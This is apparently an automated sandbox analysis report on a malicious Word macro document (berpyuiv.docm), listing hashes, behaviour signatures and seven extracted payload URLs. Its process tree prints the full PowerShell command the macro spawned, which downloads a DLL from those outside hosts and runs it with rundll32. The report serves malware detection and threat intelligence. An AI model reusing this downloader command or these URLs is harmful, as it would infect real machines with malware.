Analysis
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max time kernel
149s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
27-04-2022 02:09
Static task
static1
Behavioral task
behavioral1
Sample
berpyuiv.docm
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
berpyuiv.docm
Resource
win10v2004-20220414-en
General
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Target
berpyuiv.docm
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Size
140KB
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MD5
391dca4cf91ae12aa1b5ac9d0ac3ec41
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SHA1
47cfcf587d838f68a8f8df53ea3afae475436992
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SHA256
06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
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SHA512
de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41
Malware Config
Extracted
https://evgeniys.ru/sap-logs/D6/
http://crownadvertising.ca/wp-includes/OxiAACCoic/
https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
http://immoinvest.com.br/blog_old/wp-admin/luoT/
https://yoho.love/wp-content/e4laFBDXIvYT6O/
https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
https://www.pasionportufuturo.pe/wp-content/XUBS/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 224 5016 cmd.exe 56 -
Blocklisted process makes network request 23 IoCs
Processes:
powershell.exeflow pid Process 28 3184 powershell.exe 33 3184 powershell.exe 35 3184 powershell.exe 37 3184 powershell.exe 39 3184 powershell.exe 40 3184 powershell.exe 48 3184 powershell.exe 49 3184 powershell.exe 50 3184 powershell.exe 51 3184 powershell.exe 52 3184 powershell.exe 53 3184 powershell.exe 57 3184 powershell.exe 58 3184 powershell.exe 59 3184 powershell.exe 60 3184 powershell.exe 61 3184 powershell.exe 64 3184 powershell.exe 75 3184 powershell.exe 77 3184 powershell.exe 78 3184 powershell.exe 90 3184 powershell.exe 92 3184 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid Process 5016 WINWORD.EXE 5016 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 3184 powershell.exe 3184 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 3184 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid Process 5016 WINWORD.EXE 5016 WINWORD.EXE 5016 WINWORD.EXE 5016 WINWORD.EXE 5016 WINWORD.EXE 5016 WINWORD.EXE 5016 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid Process procid_target PID 5016 wrote to memory of 224 5016 WINWORD.EXE 84 PID 5016 wrote to memory of 224 5016 WINWORD.EXE 84 PID 224 wrote to memory of 3184 224 cmd.exe 86 PID 224 wrote to memory of 3184 224 cmd.exe 86
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\berpyuiv.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5016 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:224 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3184
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